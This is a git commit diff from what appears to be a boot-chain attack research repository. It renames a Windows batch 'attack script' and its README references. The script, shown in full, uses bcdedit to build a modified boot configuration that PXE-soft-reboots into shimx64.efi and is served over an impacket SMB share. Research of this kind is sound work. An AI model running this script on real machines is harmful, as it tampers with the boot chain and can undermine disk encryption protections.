Rename BCD generation script and resulting configuration file

This commit is contained in:
Marc André Tanner
2025-02-23 20:04:53 +01:00
parent 9c84a43741
commit 57611da4ca
4 changed files with 24 additions and 24 deletions
+5 -5
View File
@@ -81,7 +81,7 @@ cd -
### SMB Server
Start a SMB server from where the `create-bcd.bat` attack script can be downloaded from and the resulting, device-specific BCD can be uploaded to. Impacket's `smbserver.py` works great for that:
Start a SMB server from where the `create-bcd-linux.bat` attack script can be downloaded from and the resulting, device-specific BCD can be uploaded to. Impacket's `smbserver.py` works great for that:
```
cd pxe && ./start-smb.sh
@@ -126,17 +126,17 @@ cd %TEMP%
Copy attack script to temporary directory:
```
copy S:\create-bcd.bat .
copy S:\create-bcd-linux.bat .
```
Execute attacker script to generate a `BCD_modded` file:
Execute attacker script to generate a modified BCD file:
```
.\create-bcd.bat
.\create-bcd-linux.bat
```
Transfer the modified boot configuration to the SMB share:
```
copy BCD_modded S:\BCD
copy BCD_linux S:\BCD
```
> [!note]
+1 -1
View File
@@ -22,7 +22,7 @@ b5632b54120f887ec3d1f1f405ad75c71a2c066ddb34e54efa374c4f7190b2c1 bootmgfw.efi
```
The `start-smb.sh` script starts an impacket based SMB server providing the
[`create-bcd.bat`](./smb/create-bcd.bat) script to generate a device specific
[`create-bcd-linux.bat`](./smb/create-bcd-linux.bat) script to generate a device specific
BCD.
The `start-pxe.sh` script starts `dnsmasq` with the needed options to serve
-18
View File
@@ -1,18 +0,0 @@
REM @echo off
bcdedit /export BCD_modded
bcdedit /store BCD_modded /create /d "softreboot" /application startup > GUID.txt
for /F "tokens=2 delims={}" %%i in (GUID.txt) do (set REBOOT_GUID=%%i)
del GUID.txt
bcdedit /store BCD_modded /set {%REBOOT_GUID%} path "\shimx64.efi"
bcdedit /store BCD_modded /set {%REBOOT_GUID%} device boot
bcdedit /store BCD_modded /set {%REBOOT_GUID%} pxesoftreboot yes
bcdedit /store BCD_modded /set {default} recoveryenabled yes
bcdedit /store BCD_modded /set {default} recoverysequence {%REBOOT_GUID%}
bcdedit /store BCD_modded /set {default} path "\\"
bcdedit /store BCD_modded /set {default} winpe yes
bcdedit /store BCD_modded /displayorder {%REBOOT_GUID%} /addlast
+18
View File
@@ -0,0 +1,18 @@
REM @echo off
bcdedit /export BCD_linux
bcdedit /store BCD_linux /create /d "softreboot" /application startup > GUID.txt
for /F "tokens=2 delims={}" %%i in (GUID.txt) do (set REBOOT_GUID=%%i)
del GUID.txt
bcdedit /store BCD_linux /set {%REBOOT_GUID%} path "\shimx64.efi"
bcdedit /store BCD_linux /set {%REBOOT_GUID%} device boot
bcdedit /store BCD_linux /set {%REBOOT_GUID%} pxesoftreboot yes
bcdedit /store BCD_linux /set {default} recoveryenabled yes
bcdedit /store BCD_linux /set {default} recoverysequence {%REBOOT_GUID%}
bcdedit /store BCD_linux /set {default} path "\\"
bcdedit /store BCD_linux /set {default} winpe yes
bcdedit /store BCD_linux /displayorder {%REBOOT_GUID%} /addlast